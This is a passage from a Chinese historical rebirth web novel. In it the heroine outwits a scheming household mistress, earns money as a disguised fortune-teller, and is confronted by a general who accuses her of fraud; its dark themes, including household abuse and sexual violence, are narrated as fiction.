苏绾进苏家时已八岁，未能同娘亲骨肉暌离，但她深深理解芸娘的难处。她叹口气道：“好在你懂些拳脚防身，顶多遭人骂两句难听的，不至于被打得鼻青脸肿的地步。对了，你哪里学来的功夫？比划起来，着实唬人哩。”
芸娘灿然笑道：“那是当然，女大虫说得没错，我可是庄子里的通天小霸王，就没有我斗不过的牛。”
“等等，”她忽然意识到不对劲，“怎地，你的意思是，她们敢打你？反了天了！你一个官宦人家的千金小姐，如何被人这样欺负！”
握紧苏绾的手，芸娘坚定道：“你我相识一场，今日多亏你搭救，我才没被女大虫扔进地窖。救命之恩，难以报答。今后有我撑着你，管保不让任何人动你一根手指头。”
芸娘出身佃户农家，家里种几亩薄地，日子还算过得去。她嫁给苏君识，也是怀争名夺利的心，希冀为孩儿挣前途。苏绾对她有愧于心，又觉得芸娘境遇与她娘相似，同命相怜。两人促膝深谈半夜，这才依依不舍分开。
*
无霜吹熄一豆烛火，这才敢凑近苏绾床前，掀开床帏试问：“小姐可曾得手？”
“东西被人拿走了。”苏绾淡淡答道。
待了解实情，无霜绝望道：“小姐还是放手吧，他今日要拿小姐进大牢，明日就会取人性命。那样一个浑不吝，躲还来不及，何苦再去招惹他？”
苏绾背对无霜，终沉默无语。
上一世，纳征之后，温如初抓住苏沅芷陷害的把柄，以苏家不安全的名义，七月份早早办婚宴，将苏绾娶进门。
洞房花烛夜，苏绾怀揣梦想成真的喜悦，羞涩等待新婚丈夫。
盖帘掀开，如意郎君满面春风，桃花眼眸弯了弯，“绾绾，你可愿为我做件事？”
苏绾满眼泛漾爱意，“绾绾愿意为念哥哥做任何事。”
“很好。”温如初抚了抚她的额顶。
转眼吩咐随从，将苏绾堵嘴捆绑，连夜送至阁老床榻。
从此，苏绾的梦，连同她的心，一同破碎，陷进泥淖，万物同尘。
盛夏晚晴天，圆月高悬。
苏绾拖着支离破碎的身体，带着无穷无尽的绝望，纵身跃入北海。
混沌初开，一点光亮指引。
耳边响起靡靡之音：“你要好好地活下去。”
她跟着喃喃自语。
靠着这点光亮，她努力泅渡生命彼岸。
睁开眼，望见恶鬼，似笑非笑，“绾绾，你竟敢私自逃离我的身边，真是不乖。”
苏绾又闭上眼。
12. 乳娘
苏绾出师不利，未曾拿回母亲遗物，还反遭时枫一通羞辱胁迫，越加感叹形势危急。
恰巧温如初得了消息，借口恭贺苏君识新娶姨娘，登门造访，旁敲侧击。又以纳征之日苏沅芷所作所为相威胁，不但将婚期成功提至九月初八霜降，还向苏夫人处得了口头保证，明春赴杭州监察春茶征收，殷布政使必将全力支持。
上一世，温如初出差杭州任巡抚之时，趁机勾结海寇，霸占漕运税收，所得银钱，一半奉送阁老，另一半中饱私囊。殷潜忙前忙后打点，未捞得半点油水，一气之下告上朝廷，却被温如初反手一个栽赃嫁祸，导致官败落狱。苏家被他一招“吃里扒外”彻底打垮，从此再无起色。
过往云烟，于苏绾重生之人，无关紧要。然而距离九月初八，不足半年，再难筹谋划策。
摆在苏绾面前，唯有一条路：逃婚。
茫茫天涯路，要她逃去何方？即便有路可走，身边也无足够盘缠，连京城都离不得太远。
*
过了几日，正是初夏燥热时，鸣蝉聒暮景。忽听惊天哀号划破苍穹，打破苏府宁静致远。
“杀人啦，救命呀！”
只见芸娘手里扯着一位妙龄少妇，堆鸦发髻已被她十指薅乱，乌黑长发披散，脸上胭脂也被抓挠一道道，好似破脸山茶花。那少妇身形略小，被芸娘胳膊牢牢钳制，竟无法动弹，口中直呼救命。
“天杀的小婊子，贼喊捉贼，杀人凶手不就是你？”
芸娘果然佃户出身，身手敏捷，她翻身一纵，稳稳骑上少妇身，坐在柔软腹部，一手反擎她双臂，另一手抡圆胳膊扇她耳光，虎虎生风。
那少妇痛得狠了，有一嘴没一嘴谩骂，“贱婢”，“杂碎”的乱喊。
“入你娘的，敢碰老娘的宝贝儿子，我杀你全家。”
詈骂声招引阖府奴仆，天井院落聚集数十人，拉扯劝架，禀告家主，怀抱婴孩，众人忙乱不堪。
芸娘尤嫌不过瘾，两手胡乱一抓，扯开少妇胸前衣襟，明晃晃的闪眼，嘴里叫道：“横着长俩肉头就为勾搭男人是吧？舍不得给宝哥儿吃奶，留着喂男人。”
十指掐紧，汁液四溢，场景不堪入目。围观男丁大饱眼福，伸长脖颈驻足观望。苏家嫡子苏尽欢瞪圆眼，目露霪心，看得不亦乐乎，一副垂涎欲滴的猥亵模样。
恰逢苏君识外出执行公务，家里没有主心骨，芸娘胡闹半日，也无人出来喝止。苏夫人本不愿管理鸡毛蒜皮琐碎事，况且她对乳娘的德行有所耳闻，不过睁只眼闭只眼。嬷嬷急急通报数次，苏夫人拗不过，勉强出面调停。
好不容易分开两人，芸娘疯扯嗓子，嘶心裂肺叫道：“乳娘害死宝哥儿，官老爷快来救我。”
原来，一切皆源自于宝哥儿。说来也怪，宝哥儿向来吃母乳好好的，一日四顿，缺一不少。今朝换了乳娘，任凭人如何逗劝，竟不肯再吮一口。
他既不肯吃乳，乳娘不甘心丢了进项，便拿米汤应付了事，又恐孩儿夜半饿啼，掺了些安神药。七八日下来，宝儿哥饿得萎蔫不振，整日昏睡不醒，也不怎么哭闹。
芸娘思念成疾，不闻小儿哭啼，还以为宝哥儿背叛她，所谓“有奶便是娘”。她悄悄扒窗户偷窥，惊见喂药一幕，遂勃然大怒，撒泼打滚哭喊“乳娘杀人啦”。
苏夫人苫眼铺眉，阴阳怪气道：“你的孩子不吃奶，不喂米汤，难道叫他饿死不成？至于那安神药，乳娘无非想让孩子睡得安稳些，你竟反咬一口，诬陷好人心。”
芸娘不善言辞诡辩，被逼急了，只会蹦粗口，“臊你娘睡得安稳，老娘给你捏鼻子灌一锅安神汤，看你赶着去见明日的太阳，还是阴间的阎王。”
此话一出，苏夫人立即甩脸子，“家养的贱妾，竟敢骂到我头上。来人呐，给我打二十板子。”
芸娘嫁入苏家之时，曾一战成名。众婆子畏畏缩缩，无人敢上前。管家嬷嬷一声喝令：“夫人有令，拿下姨娘，谁敢不从？”
婆子们手握三尺木板，相互簇拥着，颤颤巍巍挤上前，不出所料，被芸娘一招“扫荡腿”，悉数拿下。
苏夫人大怒：“反了天了，苏家出了祸害，立即报官！”即差人去县衙报案。
一听苏夫人要报官，自己原告成被告，不知怎地，芸娘先怂了。
精气神瞬间萎靡，“要报官，也先等老爷回来啊。倘若你们敢私自拿我，老爷绝不会放过你们。”抬眼四处寻找苏绾求救。
苏绾冷眼睇了半日，方看出这是苏夫人设计的一出“瓮中捉鳖”。趁苏君识不在家，她联合乳娘设下毒计，引芸娘上钩，预料芸娘反抗，再以忤逆罪名拿下。
此招又不比之前，苏夫人主动去县衙报案，也不怕被查。安神汤与米汤，本就无毒，且有滋补功效，用在小儿身上无可厚非，旁人也挑不出毛病。
“且慢。”
苏绾急上前来，拦挡住芸娘。
“小儿挑食无法，唯亲娘乳得喂之。亲娘就在眼前，何苦非逼孩子喝米汤。倘若宝哥儿喂瘦了，传出去叫人笑话，说母亲不会养孩子。若被那别有用心之人听了去，污蔑母亲虐待妾生子女，落得善妒的污名，母亲恐颜面扫地。”
苏夫人眯着丹凤眼，两手一挥，“管她们嚼舌根去，我行得正坐得直，其心昭昭对得起日月。有何可惧？难不成你胳膊肘往外拐，卖了我们苏家不成？别忘记祖宗姓名！”
“母亲，请听我说。”
苏绾沉眉道：“女儿前日拜谒佛寺的住持，言及西方佛陀涅槃，弑杀佛母大孔雀明王，方得重生。
我观住持若有所思，便求他密语解签。住持曰：‘苏家佛光新诞，当为灵童转世‘。
我再追问之，住持又曰：‘灵童命运多舛，生来克母，须命硬灵体方能承受。‘。
我思来想去，家中新生儿唯有宝哥儿，想来说的就是他。我又问：‘谁人为命硬灵体？‘
住持曰：‘粗鄙乡野村妇，命带煞星，可抵克服‘。
我又问：‘若要逆天而行，强行养育灵童，会有何后果？’
住持曰：‘灵童克母，命弱女子抚养，则反噬女子所出，男□□，女守寡。’
我想想也是，母亲富贵人家，天妒英才，怎堪命煞？我正誊抄《地藏经》，未表女儿乌鸟私情，愿以母亲之名，向佛祖祈福，替母亲挣德行。”
苏绾一番言论，唬得苏夫人心惊肉跳，她倒不相信什么狗屁灵童克母——但她相信因果报应。佛家讲究因缘际会，善有善报，恶有恶报。她心里揣的何种心思，她自己清楚。
不让芸娘见孩子，是她最本初的恶意。身为人母，她深知把孩子从母亲手里夺走，会是怎样的剜心苦楚。她担心，自己逆举触怒天威，向苏家降下灾祸，她要遭报应。
倘若报应降到她头上，她是不怕的，横竖都是死——她怕的是她的孩子受连累。想想真是可笑，她费尽心思夺走别人的孩子，到头来却害死自己骨肉至亲。
苏夫人抖抖衣袖，脸带鄙夷之色，“满嘴胡言乱语，用得着你教我，我不懂这道理？谁要夺走她的孩子？她自个儿生的，到哪里都是孩子亲娘，还能强塞给别人不成？”
单凤眼瞥了眼乳娘，苏夫人道：“乳娘居心不良，伤害我苏家子嗣，当罚银二十两，掌嘴二十，驱逐出门。”
苏绾道：“乳娘固然有错，念在初犯，尚可原谅。罚银即可，掌嘴驱逐应免除。”
她留下乳娘，另有所图。
苏夫人心里纳罕，恨苏绾不按套路出牌，然她也懒得计较，嗤笑道：“软弱心肠，难成大器。”
事后，芸娘趴在闺房床铺，哀怨道：“女大虫混淆是非，一句误会了事，真是气煞我也。”
苏绾叹口气，“夫人爱面子，你让她当众下不来台，她杀了你的心都有。对付这种人，就好比乡下养驴子，你得顺着它，哄着它，它才能为你所用，替你拉磨干活。而今赢得第一步，宝哥儿不是夺回来了吗？剩下的恩怨，慢慢算账，莫急。”
芸娘啐了一口，“最坏的就是乳娘，便宜了那小贱蹄子，心都是黑的。你为何还要留着她？”
苏绾沉眉道：“得饶人处且饶人。乳娘不过懒散些，也无害人之心。而且，她只是小喽啰，真正的幕后指使，是夫人。”
遂将苏夫人与乳娘联合设计陷害芸娘一事，抖落出来。
“你聪颖睿智，怎得看不出如此愚拙的陷阱？真要拿你去见官，你也不该怕他们。”
芸娘杏眼圆睁，突然心虚地低下头，小声道：“我这不是‘遇儿则心乱’嘛，若换做别的事情，准保不怕女大虫。”
她眼珠转了转，翘指称赞：“你爹还真小看你，怎能说你是烂木头，什么‘朽木不可雕也‘，我看都是放屁，分明是千古难遇可造之材。”
苏绾“噗嗤”一笑，“还千古难遇，原来我是木头成精了。”
芸娘拉住苏绾胳膊，央求道：“那你说说看，咱们怎样才能灭了那女大虫的威风，教她不敢再欺负我。”又恐苏绾推脱，“我绝不会叫你白出力气，你帮我办成这件事，我给你拿一千两。”
惊得苏绾直咋舌，“你哪来那么多银子？”
芸娘迤迤然笑了，娥眉舒展，朱唇一点桃花
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殷，“你以为我大好年华，白嫁给你爹那老不死？还不是贪图他那几个大子儿？女大虫抢我进门，那老东西屁都不敢放一个，我也没埋怨他，趁机敲诈他几千，他给得心甘情愿。”
苏绾抿嘴笑道：“你少跟我假客气，我收你银子丧良心。不过你这弄钱的本事倒是高明，我要跟你学一学。”
芸娘奇道：“你不是马上嫁给温侍郎，做人家正头妻子，将来没准还能封诰命夫人，死后配享太庙，享不尽泼天富贵。还学什么捞钱的本领，巴结你的人排成行，拼着命地给你送钱花。”
苏绾笑得直不起腰，“我活得好好，怎么就咒我死，还配享太庙，你忒看得起我。在这家里头，我拿例银还要看人脸色，出阁嫁人连嫁妆都没有，嫁过去一样受气，这里面的苦只有自己知道。”
一席话勾起芸娘怜悯之心，她擎着苏绾的手，悲凉道：“苦了你了，我虽只比你大一岁，但好歹落个姨娘身份，等你出嫁之日，我给你置办嫁妆。多了没有，打副床架箱柜，添几床被褥的银子，还是有的。”
苏绾摆手笑道：“这些面上的银子，无须你替我操心，我就说这个理儿，我不要你的钱。”
芸娘思了一瞬，忽然恍然大悟，一拍苏绾后背，“这点鸡毛蒜皮小事，竟难倒老苏家的栋梁之才，说出去被人笑掉大牙。活人怎能让尿憋死，我给你出个主意，可解你尿急。”
她的村话向来有趣，让苏绾忍俊不已，“何法解我尿急？”
芸娘顺手抄起案前一卷佛经，明眸狡黠一闪，“为拿住乳娘和女大虫，你嘴里叽里呱啦说一通，什么佛陀灵童的，讲得头头是道，比之村东头的算命先生差不离。索性在天桥下面摆一摊，给人算命看相卜卦，专挑吉祥话讲，老少通吃，保准你财源滚滚来。”
说着，芸娘学起瞎子算命，闭上眼睛煞有介事给苏绾摸骨，演得活灵活现。
苏绾被她抓得身痒痒，一边躲一边笑，“大庭广众，叫我一姑娘家怎么好意思睁眼说瞎话，骗人钱财嘛。”
芸娘停住摸骨的手，假嗔道：“你呀，聪明一世，糊涂一时。姑娘不能抛头露面，公子总可以吧。”
公子？有道理。
既无解除婚约可能，不如想办法攒一笔路费，大不了婚前跑路。
段公子当重出江湖。
二人如此合计一番，包括以何种借口，逃离门禁外出，这也难不住芸娘，翻墙爬树的本领不在话下。只是略微苦了苏绾，千金柔弱小姐哪里干得来这种事。好在苏绾十分坚强，两人跑到偏院矮墙，偷偷苦练数回合，苏绾已能抓住技巧，踩着墙缝缓慢爬行。
苏绾练得满头大汗，回到闺房喊无霜打水洗澡，半天却等不到回应。
苏绾有些纳闷，冲到后屋一看，黑灯瞎火，无霜一个人望着窗外的树影发呆。
苏绾不悦，耍起小性，“霜儿，你耳朵聋啦？叫你几次都不答应。”
无霜愣了半天，无声地转过头，脸颊挂着两流清泪，“霜儿知错了。”
苏绾一惊，忙问她怎么了。
无霜抽抽搭搭叙述，白日里她去账房领取例银，恰逢芸娘与乳娘天井厮打，苏夫人现场断案，唬得无霜胆战心惊。
后来见苏绾已控制局面，无霜心下方安定。转头才想起自己的差事未办，慌慌张张离开，没走几步，一头撞进苏家嫡子苏尽欢怀里。
“瞎了你的狗眼。”苏尽欢骂道。
无霜浑身颤抖，哆哆嗦嗦道歉。她自小就害怕苏尽欢，总觉得大少爷小小年纪，长着一双邪恶的眼睛。
果不其然，苏尽欢睇了她一个来回，不知怎地，霪心四起。上前一个虎扑，擒住无霜两臂，就往厢房里拖。
无霜哭喊救命，拼命挣扎，然而无济于事，附近只有苏尽欢的狗腿家奴。
该着无霜命不该绝，恰巧赶上苏家总管路过。管家治理苏宅向来一丝不苟，绝不允许家宅闹出强迫婢女事件，势必向家主告发。
门外小厮清咳数声，苏尽欢这才不得不抽身，匆匆逃离现场。临走时，苏尽欢啐了一口，“小娼妇，别想着逃出我的手掌心，老子早晚办了你。”
无霜披头散发，衣衫不整，跌跌撞撞奔回住处。虎口脱险，呆立两个时辰，依旧惊魂未定。
“小姐，咱们一起逃走吧，越快越好。再迟些，霜儿恐怕就要没命了。”
苏绾心在滴血。上一世，趁她被温如初掳进皇宫时，苏尽欢□□无霜，将她卖给最下等的窑子做窑姐，伺候粗鄙匪盗之流，导致下身溃烂流脓。无霜不堪凌辱，上吊自尽。
历史，究竟能不能重写？
13. 扶乩
四月柳条空老碧，集市车水马龙，游人如织。
天桥底下，白衣书生倚案而坐，摆放檀香炉、笔墨纸砚等物。案前两帐旗幡，上书一副对联：知人知面知运命，算天算地算古今。
那白衣书生一脸俊俏痴情相，举手投足自带风流，引得过往女眷频频回眸。书生无事日长贫不易，闲来折扇轻摇，扶乩看相断人生。
许是白衣书生头一遭出门，不懂得做生意须吆喝的道理。往来行人络绎不绝，日上三竿竟无一人过问。白衣书生收拢折扇，摇头慨叹命运不济。
“先生，可否为妾扶乩卜卦？”
忽然耳边娇声响起，书生一惊，抬头望去，窈窕妇人扶手而立。身穿青罗曳裙，头戴明月金钗，眉眼弯弯带笑，似一朵路边野花发葳蕤。
书生忙坐正身子，“夫人欲算何事？”
妇人莲步上前，笑道：“不瞒先生说，妾乃京中苏郎中家新过门的姨娘，大名唤作‘芸娘‘。妾听闻先生鬼谷子再世，灵妙绝伦。特来求先生算一算，我家老爷近来运势。”
书生认真听完叙述，“可以。”
只见他起手拾起香压，拨弄香炉炉灰，低首沉吟：
“
鼻观妙悟，心静神闲。
炉烟匪是，香光庄严。
”
书生掏出一卷香篆，轻覆雕盘击开，星星微火徘徊。观香烟袅袅，还同物理人间事，历尽崎岖心始灰。
“苏郎中正当壮年，四十不惑，官运坎坷，命运不佳。”
芸娘大惊，“真真厄运，能否破解？”
书生抬起额首，望着芸娘眼眸，“死生有命，富贵在天。岂能任意干涉？”
芸娘不依，恳求道：“先生既能勘破天机，定有破解妙法，还请先生出手相助，芸娘绝不会亏待先生。”
书生拗不过她，轻叹口气，“我夜观星象，知京中起大事，可教苏郎中上本，为京卫指挥使请功，则圣上必大赏。”
芸娘如释重负，“多谢先生指点。”
过了两日，书生又来摆摊，一如既往地萧条。才刚坐下，芸娘大老远摇曳走来，惊呼：“托先生妙口吉言，真真灵验也。”
啪嗒，五十两雪花白银摔在案上。
芸娘喜道：“先生神机妙算，芸娘三生有幸。小小谢礼，先生勿要推脱。”
不日前，新任三品京卫指挥使时枫，经过调查暗访，英勇俘获前任指挥使卖官鬻爵一案间谍余党，圣上大悦，御赐封号‘不世出卫将军’。
五品吏部郎中苏君识，提前上本夸赞指挥使有勇有谋，大力推荐保举贤才。拍马屁拍中正题，沾了时枫的光，不但官升一级，获圣上口头嘉奖“慧眼识珠”，还得半年额外薪俸赏赐。
此事能成，皆归功于芸娘，她自称算了一卦，赌咒发誓灵验，晚间使劲吹枕头风，说动苏君识上本，结果赌中头彩。
苏君识高兴之余，特意为芸娘置办一桌“庆功宴”，册封芸娘“贤内助”。席间推杯换盏，兜里又被忽悠敲诈一千两。
如今举府上下，都为苏老爷升迁之喜庆贺。谁都不敢小觑新姨娘，府内皆传言，二奶奶具有旺夫旺家相。
书生并不看银子，依旧埋首写字帖，轻描淡写道：“夫人高兴就好。”
至此，白衣书生以一炉香灰一战成名，成为京城家喻户晓的“活神仙”。绅士名流家的夫人千金，都要专门来问上一卦，占卜吉凶。每日来往香客络绎不绝，长龙排出二里地。
白衣书生不负众望，经他提点的商铺，总能抓住商机，生意兴隆，财源广进。达官贵人家的太太们，每每踩在流行浪尖，衣着打扮新潮又高贵。
夕阳浮水共东流，书生结束一天的辛苦问卦，收拾东西准备回家。
挎上背包，踩着落日余晖，悠然走过石墩拱桥，拐进巷口。丝毫未曾注意，高大梧桐树后，隐匿站立的一抹凉薄暗影。
窄巷幽暗，深不见底，两旁挤满雪白泥墙，好似扑面而来的卫兵，将罪犯逼入角落。
书生抬袖障袂，拭去额首细汗，抓紧包袱，步伐加快。转入拐角之际，身后突然响起人声，书生瞬间寒毛直竖，全身冷汗倒流。
“怎么回来这样晚？害我站在巷子口，巴巴吹一个时辰的冷风！”女子声音充满怨怼。
书生闻言一顿，转身赔笑道：“生意太好，我都忙不过来。不得不推掉商铺王老板，还有镖局郑镖头等好几宗买卖呢。”
一道残阳适时照进窄巷，映射书生眉眼几许柔媚。他起手卸下纶巾，露出一头乌黑秀发，原来端地是女儿身。
芸娘倚靠墙壁，冷笑道：“如今是不用你再做翻墙的营生了，打着求神拜佛保佑灵童的名义，光明正大地从正门出入，只是，也没有拜一整日的道理，回头一准被女大虫教训。”
苏绾解开包袱，取出襦裙绣鞋，动作麻利穿戴整齐，“夫人那边交给我处理。再许我两日，就干这一票，攒够三千两我见好就收。京城商家如此好骗，随便忽悠几句，乖乖地排队奉上银两。你这个挣钱的法子，还真好用。”
芸娘挽住苏绾胳膊，奇道：“是你苏二小姐本事通天，不怪他们傻。我就纳闷了，你怎么知道，那个什么指挥使的要立功？”
苏绾眨了眨眼眸，低声道：“我从小在京城长大，结识不少朝中政客家的女眷，听得茶余饭后的谈资，正好拿来卖弄，不过道听途说罢了。”
芸娘翘指称赞道：“我真开眼了，你这招‘一石三鸟‘很是厉害，其一老爷升官发财，其二我大赚一笔，其三你生意兴隆。这下子，除了女大虫吃瘪，全家乐哈哈。”
苏绾但笑不语，她本来也没把握，京城指挥使受封卫将军一事会如期发生，毕竟只是前世耳濡目染的一桩新闻罢了。
既然它照旧发生，是否意味着前世所有事件，今生都会一一实现，所谓天命不可违？
夕阳浮水共东流，苏绾同芸娘手牵手回到苏家，不出所料，被看门刘嬷嬷拿住，训斥不停。
“二奶奶初来乍到，不懂规矩也就罢了。二小姐来我苏家十年，竟还是这般不听劝诫。老奴少不了要知会夫人一声，否则人人都学二小姐，出门迟归说不出缘由，叫老奴如何在这家里立规矩。”
苏绾欲拿银子买通刘嬷嬷，谁知却被芸娘按住手腕，示意她勿动。
芸娘上前一步，掐腰指着嬷嬷鼻尖骂道：“怎么着，还想敲诈我？你算哪棵老葱，敢在我面前大呼小叫，夫人没教你规矩？我同阿绾出门办事，是得了老爷允许的，用得着跟你这奴才报备？想瞎你的黑心。”
芸娘因点拨家主有功，成为苏府的红人，下人都不敢造次。她也顺势挺起腰板，隔三差五跟下人吵架，每每都是得胜而归。
刘嬷嬷见芸娘语气强硬，气场顿时矮了半截，赔笑道：“老奴不敢。既是老爷准许，那就没事了。老奴也是按规矩办事，还请二奶奶多多担待。”
芸娘“哼”得一声，拉起苏绾衣襟，得意地从刘嬷嬷身边跨门而入。
苏绾悄悄赞道：“你这一骂，省去我二十两。”
芸娘笑道：“我就是个不长眼的乡下人，不懂城里这套尊卑有序规矩。我单知道，对付这种狗眼看人低的老货，不必跟她客气，祖宗十八代问候一遍，保准她不敢再惹你。”
苏绾比出大拇指，“你这招‘硬碰硬‘，才是让我开了眼。”
二人刻意绕过厅堂，彼时苏夫人正有一遭没一遭教训苏尽欢，嗔他骗取自己一千两，拿去春月坊买断头牌，这家里一个一个的，全被狐狸精迷瞎眼。她指桑骂槐，恨不得耳提面命，耍够正头夫人的威风。
苏尽欢也是委屈，明明苏夫人亲自许他银子，却反咬一口不认账，况且，他连青凤的小手都没摸到，怎么能叫狐狸精迷眼？实在冤枉！那一千两，早被宝蟾哄走买首饰了，哪里还能吐的出来。
旁边坐着苏君识更是一脸茫然，儿子召妓，关他老子什么事？他可是呕心沥血为家里倾献所有，连皇帝都夸赞他“公正明智”，乃国之栋梁。今番不比昨日，男儿扬眉吐气，称意得如此。仗着如此，也不忌惮苏夫人，反帮着儿子回
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嘴。
苏绾观他三人行径，心里暗自冷笑。苏家打从根儿上，就已腐烂堕落。无须她出手，狗咬狗一嘴毛。彼此互生怨怼。
堂内烛火摇曳，半明半暗，映照三人惨白嘴脸，好似皮影戏人偶，恐怖如鬼魅。
次日，苏绾仍旧扯谎，讲她要去佛堂抄经，替“灵童”超度众生。芸娘因前日窄巷里干等俩时辰，打定主意晚去一会。
她坐在杌凳，葱指擎着烛台，砸核桃仁吃，嘴里含糊道：“你已出师，睁眼说瞎话本事通天厉害，我自不必再操心。然而凡事莫要逞强，遇见那不好惹的硬骨头，千万别跟他硬碰硬。所谓‘枪打出头鸟，刀砍地头蛇‘。”
苏绾取来蝠纹香椽，装入包裹，“你瞧瞧，这才来了几日，混得比猴儿还精。我能惹出什么事情来，不过看人脸色顺其心意说。既不要骗他倾家荡产，也不想害人性命，谁会砍我啊。”
“呜……”芸娘塞满嘴核桃仁，来不及回嘴。
苏绾又说道：“我记住了，你且放心。若我果真出事故，这个吃人的家里没人在乎我死活，你须派人送信给温侍郎方可。”
芸娘快速咀嚼核桃渣，囫囵咽下，拍着胸脯急道：“还是姑爷靠谱。但我听说，六部衙门坐落皇庭境内，平民老百姓长几个脑袋，胆敢擅闯皇城？”
苏绾收拾包裹，沉声道：“叫文竹去，准能进入皇宫递送口信。”
文竹有本事进宫？
待芸娘还想多问几句，苏绾已飘出门外。芸娘转身望向无霜，看到一张忧心忡忡的小脸。无霜咬了咬嘴唇，“文竹他……跟宫里的人打过交道。”
街市繁芜，人潮熙来攘往。
苏绾一身白衣，羽扇纶巾，扮作书生少年郎模样，一板一眼坐在天桥下面替人算命。
正值晌午，日头毒辣。
一滴汗水倾落，坠入香炉灰烬，激起灰屑乱飘。书生抬起衣袖，轻轻拭汗。
“啊——”
须臾间，忽听路口一声惨叫，伴随马蹄嘶鸣。紧接着，阵阵哭声此起彼伏，夹杂士兵呵斥声不断。
百姓翘首张望，很快，事情始末传到天桥边。
原来，街角一辆疾行马车撞倒路人，可怜那人满脸血污，当即一命呜呼，身边妻儿老小死的死，伤的伤，悲恸哭嚎不绝。
你道那倒霉之人是谁？不就是连锁商铺大户王老板。不知他怎么想的，艳阳天全家步行出游，竟没按照惯例租辆马车。
命运不济，百姓接连慨叹。
本是寻常事，不足为奇，这边书生却是吃惊不小。眼珠瞪圆，嘴巴张开，一脸震惊。两手撑在案边，浑身瑟瑟发抖。
问卦客人不解其意，纷纷问候书生身体安康。书生无力摇了摇手。
前日王老板为生意前景卜卦，彼时苏绾急于归家，欲随便说两句打发他了事。待王老板一屁股坐定，报上姓名来历，苏绾方忆起前世一桩事。
前世同年四月某日，市集临街发生一桩惨案。一家老小乘车出游，行至天桥中央，马儿莫名受惊，车厢倾覆翻倒落水，溺毙者正是连锁商铺王老板及其亲眷。因其死状惨烈，百姓口口相传，令苏绾印象深刻。
眼前王老板大活人，举止憨厚态度诚恳。苏绾不忍生命无端消逝，遂提醒他：“出游莫乘马车，大凶。”
她以为自己宅心仁厚，救他人一命，胜造七级浮屠。谁知上天狠狠甩了她一巴掌，听劝的王老板放弃乘坐马车，结果不过是换种方式殒命。
所谓天命难违。
王老板难逃命运之神掌控，她苏绾更加逃不过厄运。活人怎能同死神抗争？
逃婚？如何逃？逃去哪里？
所有的问题都无解，她注定重蹈覆辙，复刻前世的悲剧人生。
白衣书生捂住胸口，强忍心内绞痛，挥手打发剩余客人，默默收拾东西，准备提早收摊。
忽然眼前一暗，一堵黑墙从天而降，带着万年集结阴森寒气，烈日炎炎，却仿佛置身冰狱。
“骗取钱财，害人性命，当凌迟处死。”
14. 逮捕
晌午时分，火伞高张，烈日灼心。
苏绾抬起螓首，正撞见一双冰冷阴鸷双眸，眸底泛出淡淡恨意，又夹杂微微嘲讽。刹那间眼神碰撞，犹如一道霹雳猝发，穿透层层障障迷雾，直灌入灵台一片清明。
“时将军，我们又见面了。”白衣书生颔首问候，态度谦逊有礼。
男人负着手，居高临下睇着书生，勾唇嘲道：“还在演戏？有什么话，对簿公堂再说罢。”
书生长身玉立，临危不惧，“听闻时将军新近受御赐封号，可喜可贺。然某没有记错的话，京卫指挥使职能，旨在拱卫京师。缉拿罪犯之责，与将军无关。况且，”
他垂下眼眸，“某何罪之有？”
时枫眼神逡巡，不知不觉周遭聚集不少百姓看热闹，闻听黑面将军竟是京卫指挥使，个个激动兴奋。指挥使当街拿人戏码，可比马车撞死人精彩多了。
男人咬了咬牙，牙缝挤出几个字，“谋财害命，证据确凿，容不得你辩解脱罪。”
摩挲束腕镶嵌的绿松石，漫不经心道：“况本将军现另有一桩公案，要拿你作对证，大理寺狱亲自过审，怎会与我无关？”
所谓的“另一桩公案”，指的是春月坊她假扮花娘骗取钱财一事。
苏绾掀眸望向对方，见那匹猎兽正虎视眈眈睇她，浑身杀气腾腾，像要吃人一般。吓得苏绾赶紧收回目光，埋首注视案面翻倒的香炉。
光天化日，朗朗乾坤，叫她如何逃离魔爪。
不经意眼神一瞥，发现躲在人群后面的芸娘，也是一脸焦灼。
苏绾心内有了主意。
“将军张口闭口谋财害命，言之凿凿，可有证据？某不过替人扶乩占卜，抚慰问客愁绪。那求问前途的客人，得我指点迷津，心境清明如镜，再无迷惘愁乱。客人愿重金酬谢，我坦然受之，何错之有？”
“至于害命一说，更为无稽之谈。我害死谁人性命？商铺王老板被失控马车撞死，与我何干？这许多人为某做见证，某一颗清白之心，日月可鉴。莫畏强权折腰，我自岿然不动。”
书生一甩衣袖，白色衣襟迎风摆动，大有士人直面兵霸，威武不屈、视死如归之感。
“好样的。”
围观百姓被书生文人气节所感动，接连响起阵阵掌声，叫好声此起彼伏。
演戏演上瘾了，装什么狗屁清高文人。
时枫见惯她操控人心的把戏，听腻她那套歪理邪说。早在苏绾逃离春月坊那日，他便四下布置眼线，调查她的底细。然而苏绾躲进苏家十几日未出门，他也没得机会捉拿她。
而后一段时间，他忙于处理三哥事件，重回春月坊，从宝蟾嘴里套取实质证据。在三哥与奸细暗地交易时刻，重兵埋伏将其一举拿下，彻底拔除前京卫指挥使勾结藩王、卖官鬻爵的残党余孽，得圣上嘉奖赐封。
等他处理完政事和应酬，闲下时间却赫然发现，苏绾装扮成书生模样，大摇大摆在市集天桥底下摆摊算命。
时枫愕然之际，又觉得好笑，这回改装算命先生？疯婆娘到底戴几层面具？
他暗中观察三天，总算摸清楚苏绾意图：她同苏家新娶的小妾联手，合伙骗取百姓钱财。
敏锐直觉告诉他，王老板之死，绝对与她有关。也许，这又是一桩谋财害命，杀人灭口案。
除此之外，女书绣帕、鹤首徽记、口技技能，匪夷所思，又相互关联。
这女人一身的谜题。
然而他并不能直接报官，衙门审案有自己一套程序，一旦惊动巡城兵马司，将苏绾抓进县衙大牢，他这京卫指挥使再无权插手。
男人一脸阴云，开始活动手腕，指关节掰得啪啪作响，“你犯没犯罪，过审后自然明了。凭你三言两语，焉得洗脱罪名。”
苏绾情知躲不过这场灾祸，她偷偷逡巡人群，芸娘已消失无踪，想来会去通风报信。
书生嗤笑一声，双手握拳，胸膛一挺，“你凭什么抓我？告我图财害命，你逾矩逮捕，可有驾帖？倘若你敢擅自动我，某还要反告你一个‘假公济私‘的私坐之罪！”
白色衣襟随风飘逸，高洁雅士大义凛然，宛如谪仙初堕，救世主降临。
围观群众皆惊为天人，有那好事者，窃声传颂书生神机妙算事迹，讲他如何如何算准苏郎中官运，又如何如何妙手回春。
一圈下来，竟有人开始低呼：“神仙下凡啦！”
时枫俯首睇着她，看她的星眸距离他的凤眼，不过一尺之遥。艳阳高照，无数光辉洒落白色道袍，反射刺眼光芒，闪了他的眼，挫了他的威风，叫他败下阵来。
